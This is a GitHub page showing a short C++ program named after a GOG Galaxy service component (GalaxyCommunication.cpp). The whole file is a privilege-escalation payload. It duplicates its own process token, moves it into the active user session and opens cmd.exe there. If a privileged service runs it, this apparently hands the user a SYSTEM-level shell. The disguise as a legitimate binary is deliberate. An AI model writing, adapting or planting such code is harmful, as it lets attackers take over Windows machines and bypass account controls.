-
Notifications
You must be signed in to change notification settings - Fork 0
/
GalaxyCommunication.cpp
67 lines (53 loc) · 1.61 KB
/
GalaxyCommunication.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// GOG Galaxy.cpp : Diese Datei enthält die Funktion "main". Hier beginnt und endet die Ausführung des Programms.
//
#include <iostream>
#include <Windows.h>
#include <Wtsapi32.h>
#include <fstream>
#include <Lmcons.h>
#include <stdlib.h>
#include <WinBase.h>
using namespace std;
#pragma comment(lib, "Wtsapi32.lib")
void spawn() {
wchar_t desktop[] = L"WinSta0\\Default";
wchar_t cmd[] = L"C:\\windows\\system32\\cmd.exe";
HANDLE hToken;
DWORD sessionid = 0xFFFFFFFF;
PROCESS_INFORMATION pi;
STARTUPINFO si;
PWTS_SESSION_INFO sessions;
DWORD count;
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
&sessions, &count))
{
for (DWORD i = 0; i < count; ++i)
{
if (sessions[i].State == WTSActive)
{
sessionid = sessions[i].SessionId;
}
}
}
if (sessionid == 0xFFFFFFFF)
{
sessionid = WTSGetActiveConsoleSessionId();
}
si.cb = sizeof(si);
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
si.wShowWindow = SW_SHOW;
si.lpDesktop = desktop;
sessionid = WTSGetActiveConsoleSessionId();
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityAnonymous, TokenPrimary, &hToken);
SetTokenInformation(hToken, TokenSessionId, &sessionid, sizeof(sessionid));
if (CreateProcessAsUser(hToken, cmd, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
int main()
{
spawn();
}